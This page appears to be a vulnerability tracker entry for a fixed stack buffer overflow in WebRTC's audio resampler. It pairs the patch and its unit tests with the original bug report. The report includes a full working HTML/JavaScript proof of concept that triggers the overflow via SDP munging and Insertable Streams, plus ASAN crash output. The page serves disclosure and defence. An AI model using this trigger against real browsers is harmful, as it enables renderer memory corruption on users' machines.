Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactStack buffer overflow in WebRTC
DescriptionStack buffer overflow in WebRTC
ComponentWebRTC
Bug ClassOOB
Tracker486349161
Fix commitecde302f3f4e (src) +97/-0
CISA KEVNot listed
Creditedc6eed09fc8b174b0f3eebedcceb1e792
Disclosed2026-03-18

Changed Functions

FunctionChangeNotes
if
modules/audio_coding/acm2/acm_resampler.cc
modified
TEST
modules/audio_coding/acm2/acm_resampler_unittest.cc
modified

Files Changed

  • modules/audio_coding/BUILD.gn
  • modules/audio_coding/DEPS
  • modules/audio_coding/acm2/acm_resampler.cc
  • modules/audio_coding/acm2/acm_resampler_unittest.cc
From ecde302f3f4e4f4149ad7eda697bb9309955e57d Mon Sep 17 00:00:00 2001
From: Tommi <[email protected]>
Date: Fri, 06 Mar 2026 09:37:17 +0100
Subject: [PATCH] Check maximum buffer size in ResamplerHelper::MaybeResample

Verify that the target sample count does not exceed the maximum allowed
size for an AudioFrame. Previously, requesting a resample operation with
a high number of channels or a high sample rate could result in a target
data size that exceeded the internal limits of the AudioFrame class.

This change adds a validation check before starting the resampling
process. If the calculated target size—based on the desired sample rate
and channel count—surpasses kMaxDataSizeSamples, the operation now
safely aborts. In such cases, the error is logged, the audio frame is
muted to avoid undefined behavior, and the function returns false.

Bug: chromium:486349161
Fixes: chromium:486349161
Change-Id: Ia0d8abcd390f90a590c07c0606f9b6c968f663e6
Reviewed-on: https://webrtc-review.googlesource.com/c/src/+/454000
Reviewed-by: Per Åhgren <[email protected]>
Reviewed-by: Henrik Lundin <[email protected]>
Commit-Queue: Tomas Gunnarsson <[email protected]>
Cr-Commit-Position: refs/heads/main@{#47076}
---

diff --git a/modules/audio_coding/BUILD.gn b/modules/audio_coding/BUILD.gn
index 016485c..132b293 100644
--- a/modules/audio_coding/BUILD.gn
+++ b/modules/audio_coding/BUILD.gn
@@ -47,6 +47,7 @@
     "../../api/neteq:default_neteq_factory",
     "../../api/neteq:neteq_api",
     "../../api/units:timestamp",
+    "../../audio/utility:audio_frame_operations",
     "../../common_audio",
     "../../common_audio:common_audio_c",
     "../../rtc_base:buffer",
@@ -1400,6 +1401,7 @@
 
       sources = [
         "acm2/acm_remixing_unittest.cc",
+        "acm2/acm_resampler_unittest.cc",
         "acm2/audio_coding_module_unittest.cc",
         "acm2/call_statistics_unittest.cc",
         "audio_network_adaptor/audio_network_adaptor_impl_unittest.cc",
diff --git a/modules/audio_coding/DEPS b/modules/audio_coding/DEPS
index 3dc9624..be1291b 100644
--- a/modules/audio_coding/DEPS
+++ b/modules/audio_coding/DEPS
@@ -1,4 +1,5 @@
 include_rules = [
+  "+audio/utility",
   "+call",
   "+common_audio",
   "+logging/rtc_event_log",
diff --git a/modules/audio_coding/acm2/acm_resampler.cc b/modules/audio_coding/acm2/acm_resampler.cc
index a8c4ba8..e9c2861 100644
--- a/modules/audio_coding/acm2/acm_resampler.cc
+++ b/modules/audio_coding/acm2/acm_resampler.cc
@@ -11,12 +11,15 @@
 #include "modules/audio_coding/acm2/acm_resampler.h"
 
 #include <array>
+#include <cstddef>
 #include <cstdint>
 
 #include "absl/algorithm/container.h"
 #include "api/audio/audio_frame.h"
 #include "api/audio/audio_view.h"
+#include "audio/utility/audio_frame_operations.h"
 #include "rtc_base/checks.h"
+#include "rtc_base/logging.h"
 
 namespace webrtc {
 namespace acm2 {
@@ -38,6 +41,18 @@
       (desired_sample_rate_hz != -1) &&
       (current_sample_rate_hz != desired_sample_rate_hz);
 
+  if (need_resampling) {
+    const size_t target_size =
+        audio_frame->num_channels_ *
+        SampleRateToDefaultChannelSize(desired_sample_rate_hz);
+    if (target_size > AudioFrame::kMaxDataSizeSamples) {
+      RTC_LOG(LS_ERROR) << "AudioFrame cannot hold resampled data.";
+      AudioFrameOperations::Mute(audio_frame);
+      audio_frame->SetSampleRateAndChannelSize(desired_sample_rate_hz);
+      return false;
+    }
+  }
+
   if (need_resampling && !resampled_last_output_frame_) {
     // Prime the resampler with the last frame.
     InterleavedView<const int16_t> src(last_audio_buffer_.data(),
diff --git a/modules/audio_coding/acm2/acm_resampler_unittest.cc b/modules/audio_coding/acm2/acm_resampler_unittest.cc
new file mode 100644
index 0000000..f597151
--- /dev/null
+++ b/modules/audio_coding/acm2/acm_resampler_unittest.cc
@@ -0,0 +1,79 @@
+/*
+ *  Copyright (c) 2026 The WebRTC project authors. All Rights Reserved.
+ *
+ *  Use of this source code is governed by a BSD-style license
+ *  that can be found in the LICENSE file in the root of the source
+ *  tree. An additional intellectual property rights grant can be found
+ *  in the file PATENTS.  All contributing project authors may
+ *  be found in the AUTHORS file in the root of the source tree.
+ */
+
+#include "modules/audio_coding/acm2/acm_resampler.h"
+
+#include <cstddef>
+#include <cstdint>
+#include <vector>
+
+#include "api/audio/audio_frame.h"
+#include "test/gtest.h"
+
+namespace webrtc {
+namespace acm2 {
+
+TEST(ResamplerHelperTest, MaybeResampleCheckForMaxSize) {
+  ResamplerHelper resampler;
+  AudioFrame audio_frame;
+
+  // Create an audio frame that requires resampling from 32kHz to 48kHz
+  // with a very high number of channels (24).
+  const int kCurrentSampleRateHz = 32000;
+  const int kDesiredSampleRateHz = 48000;
+  const size_t kChannels = 24;
+
+  // 10 ms of data at 32kHz = 320 samples per channel.
+  std::vector<int16_t> dummy_data(320 * 24, 0);
+  audio_frame.UpdateFrame(0, dummy_data.data(), 320, kCurrentSampleRateHz,
+                          AudioFrame::kNormalSpeech, AudioFrame::kVadActive,
+                          kChannels);
+
+  // The resampler prime path will attempt to allocate a buffer that is
+  // kChannels * (kDesiredSampleRateHz / 100) = 24 * 480 = 11520 samples,
+  // which exceeds AudioFrame::kMaxDataSizeSamples (7680).
+  const bool resample_success =
+      resampler.MaybeResample(kDesiredSampleRateHz, &audio_frame);
+
+  // Verify that MaybeResample correctly detects the buffer size condition and
+  // safely aborts the operation by returning false and muting the frame.
+  EXPECT_FALSE(resample_success);
+  EXPECT_TRUE(audio_frame.muted());
+  EXPECT_EQ(audio_frame.sample_rate_hz_, kDesiredSampleRateHz);
+  EXPECT_EQ(audio_frame.num_channels_, kChannels);
+}
+
+TEST(ResamplerHelperTest, MaybeResampleValidMaxSize) {
+  ResamplerHelper resampler;
+  AudioFrame audio_frame;
+
+  // Ensure that resampling within the valid buffer size does not trigger the
+  // muting behavior. We'll use a valid number of channels (e.g. 1) that will
+  // not exceed the bounds.
+  const int kCurrentSampleRateHz = 32000;
+  const int kDesiredSampleRateHz = 48000;
+  const size_t kChannels = 1;
+
+  std::vector<int16_t> dummy_data(320 * 1, 1000);
+  audio_frame.UpdateFrame(0, dummy_data.data(), 320, kCurrentSampleRateHz,
+                          AudioFrame::kNormalSpeech, AudioFrame::kVadActive,
+                          kChannels);
+
+  const bool resample_success =
+      resampler.MaybeResample(kDesiredSampleRateHz, &audio_frame);
+
+  EXPECT_TRUE(resample_success);
+  EXPECT_FALSE(audio_frame.muted());
+  EXPECT_EQ(audio_frame.sample_rate_hz_, kDesiredSampleRateHz);
+  EXPECT_EQ(audio_frame.num_channels_, kChannels);
+}
+
+}  // namespace acm2
+}  // namespace webrtc
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/modules/audio_coding/acm2/acm_resampler_unittest.cc b/modules/audio_coding/acm2/acm_resampler_unittest.cc
new file mode 100644
index 0000000..f597151
--- /dev/null
+++ b/modules/audio_coding/acm2/acm_resampler_unittest.cc
@@ -0,0 +1,79 @@
+/*
+ *  Copyright (c) 2026 The WebRTC project authors. All Rights Reserved.
+ *
+ *  Use of this source code is governed by a BSD-style license
+ *  that can be found in the LICENSE file in the root of the source
+ *  tree. An additional intellectual property rights grant can be found
+ *  in the file PATENTS.  All contributing project authors may
+ *  be found in the AUTHORS file in the root of the source tree.
+ */
+
+#include "modules/audio_coding/acm2/acm_resampler.h"
+
+#include <cstddef>
+#include <cstdint>
+#include <vector>
+
+#include "api/audio/audio_frame.h"
+#include "test/gtest.h"
+
+namespace webrtc {
+namespace acm2 {
+
+TEST(ResamplerHelperTest, MaybeResampleCheckForMaxSize) {
+  ResamplerHelper resampler;
+  AudioFrame audio_frame;
+
+  // Create an audio frame that requires resampling from 32kHz to 48kHz
+  // with a very high number of channels (24).
+  const int kCurrentSampleRateHz = 32000;
+  const int kDesiredSampleRateHz = 48000;
+  const size_t kChannels = 24;
+
+  // 10 ms of data at 32kHz = 320 samples per channel.
+  std::vector<int16_t> dummy_data(320 * 24, 0);
+  audio_frame.UpdateFrame(0, dummy_data.data(), 320, kCurrentSampleRateHz,
+                          AudioFrame::kNormalSpeech, AudioFrame::kVadActive,
+                          kChannels);
+
+  // The resampler prime path will attempt to allocate a buffer that is
+  // kChannels * (kDesiredSampleRateHz / 100) = 24 * 480 = 11520 samples,
+  // which exceeds AudioFrame::kMaxDataSizeSamples (7680).
+  const bool resample_success =
+      resampler.MaybeResample(kDesiredSampleRateHz, &audio_frame);
+
+  // Verify that MaybeResample correctly detects the buffer size condition and
+  // safely aborts the operation by returning false and muting the frame.
+  EXPECT_FALSE(resample_success);
+  EXPECT_TRUE(audio_frame.muted());
+  EXPECT_EQ(audio_frame.sample_rate_hz_, kDesiredSampleRateHz);
+  EXPECT_EQ(audio_frame.num_channels_, kChannels);
+}
+
+TEST(ResamplerHelperTest, MaybeResampleValidMaxSize) {
+  ResamplerHelper resampler;
+  AudioFrame audio_frame;
+
+  // Ensure that resampling within the valid buffer size does not trigger the
+  // muting behavior. We'll use a valid number of channels (e.g. 1) that will
+  // not exceed the bounds.
+  const int kCurrentSampleRateHz = 32000;
+  const int kDesiredSampleRateHz = 48000;
+  const size_t kChannels = 1;
+
+  std::vector<int16_t> dummy_data(320 * 1, 1000);
+  audio_frame.UpdateFrame(0, dummy_data.data(), 320, kCurrentSampleRateHz,
+                          AudioFrame::kNormalSpeech, AudioFrame::kVadActive,
+                          kChannels);
+
+  const bool resample_success =
+      resampler.MaybeResample(kDesiredSampleRateHz, &audio_frame);
+
+  EXPECT_TRUE(resample_success);
+  EXPECT_FALSE(audio_frame.muted());
+  EXPECT_EQ(audio_frame.sample_rate_hz_, kDesiredSampleRateHz);
+  EXPECT_EQ(audio_frame.num_channels_, kChannels);
+}
+
+}  // namespace acm2
+}  // namespace webrtc
Loading diff…

Original Bug Report

reported by [email protected]

Stack buffer overflow in WebRTC ResamplerHelper::MaybeResample leads to renderer process crash via crafted SDP and Insertable Streams

Title

Stack buffer overflow in WebRTC ResamplerHelper::MaybeResample leads to renderer process crash via crafted SDP and Insertable Streams

Summary

The WebRTC audio resampler contains a stack buffer overflow in ResamplerHelper::MaybeResample. When an audio frame decoded by the L16 codec carries a high channel count (up to 24, the maximum allowed by the SDP parser) and the playout sample rate requires resampling, a fixed-size stack buffer of 7680 int16 elements is written with up to 11520 elements, resulting in a 3840-element (7680 byte) out-of-bounds write on the stack. An attacker can trigger this from JavaScript without any experimental flags by using SDP munging to negotiate the L16/32000/24 codec alongside Opus, then switching the RTP payload type at runtime through the Insertable Streams API using the RTCEncodedAudioFrame constructor (which bypasses the RTCEncodedFrameSetMetadata feature gate). The overflow occurs on the AudioOutputDevice thread inside the renderer process, enabling potential code execution within the compromised sandbox.

Bisect

Introducing Commit: c9aaf1198594f23c6572657306cebd2bbde095d8

Root Cause

The vulnerability resides in the “prime the resampler” code path within ResamplerHelper::MaybeResample in third_party/webrtc/modules/audio_coding/acm2/acm_resampler.cc. This function is called on the audio playout path whenever a decoded audio frame needs to be resampled to match the desired output sample rate.

The function maintains a boolean flag resampled_last_output_frame_ that tracks whether the previous frame required resampling. When the current frame needs resampling but the previous frame did not, the code enters a “prime” branch that resamples the previously stored audio buffer to warm up the sinc resampler’s internal state. The problem is that the destination buffer for this priming operation is a fixed-size stack array, and its view is constructed using dimensions derived from the desired output sample rate and the current frame’s channel count, without verifying that the resulting view fits within the array.

// third_party/webrtc/modules/audio_coding/acm2/acm_resampler.cc
bool ResamplerHelper::MaybeResample(int desired_sample_rate_hz,
                                    AudioFrame* audio_frame) {
  const bool need_resampling =
      (desired_sample_rate_hz != -1) &&
      (current_sample_rate_hz != desired_sample_rate_hz);

  if (need_resampling && !resampled_last_output_frame_) {
    // Prime the resampler with the last frame.
    InterleavedView<const int16_t> src(last_audio_buffer_.data(),
                                       audio_frame->samples_per_channel(),
                                       audio_frame->num_channels());
    std::array<int16_t, AudioFrame::kMaxDataSizeSamples> temp_output; // 7680
    InterleavedView<int16_t> dst(
        temp_output.data(),
        SampleRateToDefaultChannelSize(desired_sample_rate_hz),
        audio_frame->num_channels_);
    resampler_.Resample(src, dst);  // <-- writes dst.size() elements into temp_output
  }
  // ...
}

The constant AudioFrame::kMaxDataSizeSamples is 7680, which equals 48000/100 * 16 (480 samples per channel at 48kHz times 16 channels). The SampleRateToDefaultChannelSize function returns sample_rate / 100, so at 48kHz it returns 480. The dst view is therefore sized as 480 * num_channels elements. When num_channels exceeds 16, the view exceeds the buffer capacity: for 24 channels, the view spans 480 * 24 = 11520 elements while the backing array holds only 7680, producing a 3840-element (7680 byte) overwrite past the end of the stack buffer.

The upstream guard in NetEqImpl::SetSampleRateAndChannels does enforce a bound, but it validates only the source dimensions, not the destination dimensions:

// third_party/webrtc/modules/audio_coding/neteq/neteq_impl.cc
void NetEqImpl::SetSampleRateAndChannels(int fs_hz, size_t channels) {
  RTC_CHECK_LE(channels, kMaxNumberOfAudioChannels);  // channels <= 24
  output_size_samples_ = SampleRateToDefaultChannelSize(fs_hz);
  RTC_CHECK_LE(channels * output_size_samples_,
               AudioFrame::kMaxDataSizeSamples);  // SOURCE check: 320*24=7680 <= 7680 PASS
}

For L16/32000/24, the source dimensions pass the check (320 * 24 = 7680 <= 7680) because SampleRateToDefaultChannelSize(32000) = 320. However, when the playout system requests 48kHz output, the resampler’s destination uses SampleRateToDefaultChannelSize(48000) = 480, and 480 * 24 = 11520 > 7680. No check guards this target dimension.

Several other guards that could theoretically catch this condition exist only as RTC_DCHECK assertions, which are compiled out in release builds: the InterleavedView constructor checks num_channels <= kMaxNumberOfAudioChannels via RTC_DCHECK, and PushResampler enforces a kMaxNumberOfChannels = 8 limit also via RTC_DCHECK. Neither is present in release binaries.

The L16 codec, while marked NotAdvertised in the built-in audio decoder factory, can still be negotiated through SDP manipulation. The NotAdvertised wrapper only hides the codec from GetSupportedDecoders() (preventing it from appearing in default offers), but SdpToConfig() and MakeAudioDecoder() remain fully functional. The SDP parser accepts up to 24 audio channels, and the L16 decoder’s IsOk() accepts sample rates of 8, 16, 32, or 48 kHz with 1 to 24 channels.

To reach the vulnerable prime branch, an attacker must arrange for resampled_last_output_frame_ to be false when the first L16 frame arrives. This is achieved by first streaming audio through a codec whose output sample rate matches the playout rate (e.g. Opus at 48kHz with 48kHz playout), which causes need_resampling to be false and sets resampled_last_output_frame_ = false. Switching the payload type to L16/32000/24 then produces a frame at 32kHz that requires resampling to 48kHz, entering the prime branch with the stale false value and triggering the overflow.

Reproduce

Save the following as poc.html. Run Chrome with an ASAN build using these flags:

ASAN_OPTIONS=detect_odr_violation=0 ./out/asan-release/chrome \
  --no-sandbox --disable-gpu \
  --autoplay-policy=no-user-gesture-required \
  --use-fake-device-for-media-stream \
  --use-fake-ui-for-media-stream \
  --enable-logging=stderr \
  --user-data-dir=$(mktemp -d) \
  file:///path/to/poc.html

No experimental flags are required.

<!DOCTYPE html>
<html>
<head>
<title>ResamplerHelper Stack OOB Write PoC</title>
<style>
body { background: #1a1a2e; color: #0f0; font-family: monospace; padding: 20px; }
pre { white-space: pre-wrap; word-wrap: break-word; }
</style>
</head>
<body>
<h2>ResamplerHelper priming path stack OOB write</h2>
<pre id="log"></pre>
<script>
const logEl = document.getElementById('log');
function log(msg) {
  const ts = new Date().toISOString().substr(11, 12);
  const line = `[${ts}] ${msg}`;
  logEl.textContent += line + '\n';
  console.log(line);
}
async function sleep(ms) { return new Promise(r => setTimeout(r, ms)); }

// Add L16/32000/24 to SDP alongside existing codecs
function addL16ToSDP(sdp) {
  const lines = sdp.split('\r\n');
  const result = [];
  let inAudio = false, addedL16 = false;
  for (const line of lines) {
    if (line.startsWith('m=audio')) {
      inAudio = true;
      result.push(line + ' 96');
      continue;
    }
    if (inAudio && line.startsWith('m=')) inAudio = false;
    result.push(line);
    if (inAudio && line.startsWith('a=rtpmap:') && !addedL16) {
      result.push('a=rtpmap:96 L16/32000/24');
      addedL16 = true;
    }
  }
  return result.join('\r\n');
}

// Ensure L16/32000/24 is in the answer (add alongside existing codecs)
function ensureL16InAnswer(sdp) {
  if (sdp.includes('L16/32000/24')) return sdp;
  const lines = sdp.split('\r\n');
  const result = [];
  let inAudio = false, addedL16 = false;
  for (const line of lines) {
    if (line.startsWith('m=audio')) {
      inAudio = true;
      result.push(line + ' 96');
      continue;
    }
    if (inAudio && line.startsWith('m=')) inAudio = false;
    result.push(line);
    if (inAudio && line.startsWith('a=rtpmap:') && !addedL16) {
      result.push('a=rtpmap:96 L16/32000/24');
      addedL16 = true;
    }
  }
  return result.join('\r\n');
}

// Generate L16 payload: big-endian 16-bit PCM, numChannels channels
function generateL16Payload(samplesPerChannel, numChannels) {
  const totalSamples = samplesPerChannel * numChannels;
  const buffer = new ArrayBuffer(totalSamples * 2);
  const view = new DataView(buffer);
  for (let i = 0; i < totalSamples; i++) {
    const value = Math.floor(Math.sin(i * 0.1) * 16000);
    view.setInt16(i * 2, value, false); // big-endian (network byte order)
  }
  return buffer;
}

async function run() {
  log('[*] ResamplerHelper stack OOB write PoC');
  log('[*] Strategy: RTCEncodedAudioFrame constructor payload type switch');
  log('[*] 1. Negotiate Opus+L16/32000/24 in initial SDP');
  log('[*] 2. Send Opus 3s (48kHz, no resampling -> resampled_last_output_frame_=false)');
  log('[*] 3. Use new RTCEncodedAudioFrame(chunk, {metadata:{payloadType:96}})');
  log('[*] 4. Receiver decodes L16/32000/24 -> MaybeResample(48kHz) -> prime -> OOB');
  log('');

  const ctx = new AudioContext({ sampleRate: 48000 });
  const osc = ctx.createOscillator();
  osc.frequency.value = 440;
  const dest = ctx.createMediaStreamDestination();
  osc.connect(dest);
  osc.start();
  log('[+] Created 48kHz mono audio source');

  const pc1 = new RTCPeerConnection({ encodedInsertableStreams: true });
  const pc2 = new RTCPeerConnection({ encodedInsertableStreams: true });

  pc1.onicecandidate = e => { if (e.candidate) pc2.addIceCandidate(e.candidate).catch(()=>{}); };
  pc2.onicecandidate = e => { if (e.candidate) pc1.addIceCandidate(e.candidate).catch(()=>{}); };
  pc1.onconnectionstatechange = () => log(`  [pc1] conn=${pc1.connectionState}`);
  pc2.onconnectionstatechange = () => log(`  [pc2] conn=${pc2.connectionState}`);

  pc1.addTrack(dest.stream.getAudioTracks()[0], dest.stream);

  const sender = pc1.getSenders()[0];
  let switchToL16 = false;
  let frameCount = 0;
  const L16_PT = 96;

  // Set up Insertable Streams on sender
  try {
    const senderStreams = sender.createEncodedStreams();
    const transformer = new TransformStream({
      transform(chunk, controller) {
        if (switchToL16) {
          frameCount++;
          try {
            // Generate L16 big-endian PCM: 20 samples/ch * 24ch = 480 samples * 2 = 960 bytes
            const l16Data = generateL16Payload(20, 24);

            // Use RTCEncodedAudioFrame constructor to change payload type
            // This does NOT require RTCEncodedFrameSetMetadata flag!
            const metadata = chunk.getMetadata();
            metadata.payloadType = L16_PT;
            const newFrame = new RTCEncodedAudioFrame(chunk, { metadata });
            newFrame.data = l16Data;

            if (frameCount <= 5 || frameCount % 50 === 0) {
              log(`  [xform] Frame #${frameCount}: PT=${L16_PT}, ${l16Data.byteLength}B`);
            }
            controller.enqueue(newFrame);
            return;
          } catch (e) {
            if (frameCount <= 5) {
              log(`  [xform] Error: ${e.message}`);
            }
          }
        }
        controller.enqueue(chunk);
      }
    });
    senderStreams.readable.pipeThrough(transformer).pipeTo(senderStreams.writable);
    log('[+] Insertable Streams transform ready on sender');
  } catch (e) {
    log('[!] Insertable Streams not available: ' + e.message);
    return;
  }

  // Receive audio on pc2 with pass-through transform
  pc2.ontrack = e => {
    log('[+] pc2 received audio track');
    try {
      const receiver = pc2.getReceivers()[0];
      const recvStreams = receiver.createEncodedStreams();
      recvStreams.readable.pipeTo(recvStreams.writable);
    } catch(e) {}
    const audio = new Audio();
    audio.srcObject = e.streams[0];
    audio.play().catch(()=>{});
  };

  // === Negotiate with both Opus + L16/32000/24 ===
  log('');
  log('=== Negotiating Opus + L16/32000/24 ===');

  const offer = await pc1.createOffer();
  const offerWithL16 = addL16ToSDP(offer.sdp);

  const offerAudio = offerWithL16.split('\r\n').filter(l =>
    l.startsWith('m=audio') || l.includes('rtpmap') || l.includes('L16'));
  log('[*] Offer audio: ' + offerAudio.join(' | '));

  try {
    await pc1.setLocalDescription({ type: 'offer', sdp: offerWithL16 });
    log('[+] pc1 setLocalDescription OK');
  } catch(e) { log('[!] pc1 setLocal FAILED: ' + e); return; }

  try {
    await pc2.setRemoteDescription({ type: 'offer', sdp: offerWithL16 });
    log('[+] pc2 setRemoteDescription OK');
  } catch(e) { log('[!] pc2 setRemote FAILED: ' + e); return; }

  const answer = await pc2.createAnswer();
  const answerWithL16 = ensureL16InAnswer(answer.sdp);
  const answerHadL16 = answer.sdp.includes('L16');
  log(answerHadL16 ? '[+] L16 naturally in answer!' : '[*] L16 not in answer, adding via SDP munge');

  const answerAudio = answerWithL16.split('\r\n').filter(l =>
    l.startsWith('m=audio') || l.includes('rtpmap') || l.includes('L16'));
  log('[*] Answer audio: ' + answerAudio.join(' | '));

  try {
    await pc2.setLocalDescription({ type: 'answer', sdp: answerWithL16 });
    log('[+] pc2 setLocalDescription OK');
  } catch(e) { log('[!] pc2 setLocal FAILED: ' + e); return; }

  try {
    await pc1.setRemoteDescription({ type: 'answer', sdp: answerWithL16 });
    log('[+] pc1 setRemoteDescription OK');
  } catch(e) { log('[!] pc1 setRemote FAILED: ' + e); return; }

  log('[+] Negotiation complete (Opus + L16/32000/24 both available)');

  // Wait for connection
  await new Promise((resolve, reject) => {
    const timeout = setTimeout(() => reject(new Error('Connection timeout')), 10000);
    const check = () => {
      if (pc1.connectionState === 'connected') { clearTimeout(timeout); return resolve(); }
      if (pc1.connectionState === 'failed') { clearTimeout(timeout); return reject(new Error('Connection failed')); }
      pc1.addEventListener('connectionstatechange', check, { once: true });
    };
    check();
  });
  log('[+] Connection established!');

  // === Phase 1: Opus audio for 3s ===
  log('');
  log('=== Phase 1: Opus audio (48kHz, no resampling) ===');
  log('[*] This sets resampled_last_output_frame_=false on receiver');
  await sleep(3000);
  log('[+] 3s Opus audio complete');

  // === Phase 2: Switch to L16 payload type ===
  log('');
  log('=== Phase 2: Switching to L16/32000/24 payload type ===');
  log('[*] L16 decode -> 32kHz/24ch -> MaybeResample(48kHz)');
  log('[*] Prime branch: dst(480*24=11520) > temp_output[7680] -> OOB!');
  switchToL16 = true;

  for (let i = 0; i < 15; i++) {
    await sleep(1000);
    log(`[${i+1}s] pc1=${pc1.connectionState} pc2=${pc2.connectionState} L16frames=${frameCount}`);

    try {
      const stats = await sender.getStats();
      stats.forEach(s => {
        if (s.type === 'outbound-rtp' && s.kind === 'audio') {
          log(`  [send] pkts=${s.packetsSent} bytes=${s.bytesSent}`);
        }
      });
    } catch(e) {}

    try {
      const receivers = pc2.getReceivers();
      if (receivers.length > 0) {
        const stats = await receivers[0].getStats();
        stats.forEach(s => {
          if (s.type === 'inbound-rtp' && s.kind === 'audio') {
            log(`  [recv] pkts=${s.packetsReceived} bytes=${s.bytesReceived}`);
          }
        });
      }
    } catch(e) {}
  }

  log('[*] Test complete');
  pc1.close(); pc2.close(); ctx.close();
}

run().catch(e => log('[!] Fatal: ' + e));
</script>
</body>
</html>

ASAN output (no experimental flags):

=================================================================
==2867488==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7a2986e5bc20 at pc 0x7f84b2898012 bp 0x7a29878c3170 sp 0x7a29878c3168
WRITE of size 2 at 0x7a2986e5bc20 thread T19 (AudioOutputDevi)
    #0 0x7f84b2898011 in webrtc::PushResampler<short>::Resample(webrtc::InterleavedView<short const>, webrtc::InterleavedView<short>) third_party/webrtc/common_audio/include/audio_util.h:157:36
    #1 0x7f84b2b73520 in webrtc::acm2::ResamplerHelper::MaybeResample(int, webrtc::AudioFrame*) third_party/webrtc/modules/audio_coding/acm2/acm_resampler.cc:50:16
    #2 0x7f84b2b0701d in webrtc::voe::(anonymous namespace)::ChannelReceive::GetAudioFrameWithInfo(int, webrtc::AudioFrame*) third_party/webrtc/audio/channel_receive.cc:422:21
    #3 0x7f84b2d09374 in webrtc::AudioMixerImpl::GetAudioFromSources(int) third_party/webrtc/modules/audio_mixer/audio_mixer_impl.cc:137:42
    #4 0x7f84b2d08f7e in webrtc::AudioMixerImpl::Mix(unsigned long, webrtc::AudioFrame*) third_party/webrtc/modules/audio_mixer/audio_mixer_impl.cc:107:27
    #5 0x7f84b2aff0fa in webrtc::AudioTransportImpl::PullRenderData(int, int, unsigned long, unsigned long, void*, long*, long*) third_party/webrtc/audio/audio_transport_impl.cc:273:11
    #6 0x7f84640f4641 in blink::WebRtcAudioDeviceImpl::RenderData(media::AudioBus*, int, base::TimeDelta, base::TimeDelta*, media::AudioGlitchInfo const&) third_party/blink/renderer/modules/webrtc/webrtc_audio_device_impl.cc:117:30
    #7 0x7f846410667a in blink::WebRtcAudioRenderer::SourceCallback(int, media::AudioBus*) third_party/blink/renderer/modules/webrtc/webrtc_audio_renderer.cc:647:12
    #8 0x7f8464105f61 in blink::WebRtcAudioRenderer::Render(base::TimeDelta, base::TimeTicks, media::AudioGlitchInfo const&, media::AudioBus*) third_party/blink/renderer/modules/webrtc/webrtc_audio_renderer.cc:601:5
    #9 0x7f84b60b0292 in media::AudioOutputDeviceThreadCallback::Process(unsigned int) media/audio/audio_output_device_thread_callback.cc:107:21
    #10 0x7f84b607151b in media::AudioDeviceThread::ThreadMain() media/audio/audio_device_thread.cc:114:18
    #11 0x7f84cbedde8c in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
    #12 0x55c277680616 in asan_thread_start(void*) asan_interceptors.cpp

Address 0x7a2986e5bc20 is located in stack of thread T19 (AudioOutputDevi) at offset 15392 in frame
    #0 0x7f84b2b7329f in webrtc::acm2::ResamplerHelper::MaybeResample(int, webrtc::AudioFrame*) third_party/webrtc/modules/audio_coding/acm2/acm_resampler.cc:28

  This frame has 4 object(s):
    [32, 15392) 'temp_output' (line 45) <== Memory access at offset 15392 overflows this variable
    [15648, 15680) 'src' (line 57)
    [15712, 15744) 'dst' (line 59)
    [15776, 15808) 'ref.tmp' (line 73)

SUMMARY: AddressSanitizer: stack-buffer-overflow third_party/webrtc/common_audio/include/audio_util.h:157:36 in webrtc::PushResampler<short>::Resample(webrtc::InterleavedView<short const>, webrtc::InterleavedView<short>)
Shadow bytes around the buggy address:
  0x7a2986e5b980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7a2986e5ba00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7a2986e5ba80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7a2986e5bb00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7a2986e5bb80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7a2986e5bc00: 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x7a2986e5bc80: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x7a2986e5bd00: f2 f2 f2 f2 f8 f8 f8 f8 f2 f2 f2 f2 f8 f8 f8 f8
  0x7a2986e5bd80: f2 f2 f2 f2 f8 f8 f8 f8 f3 f3 f3 f3 f3 f3 f3 f3
==2867488==ABORTING

Credit

Please use c6eed09fc8b174b0f3eebedcceb1e792 as the credit for this vulnerability. Thank you.

View on issue tracker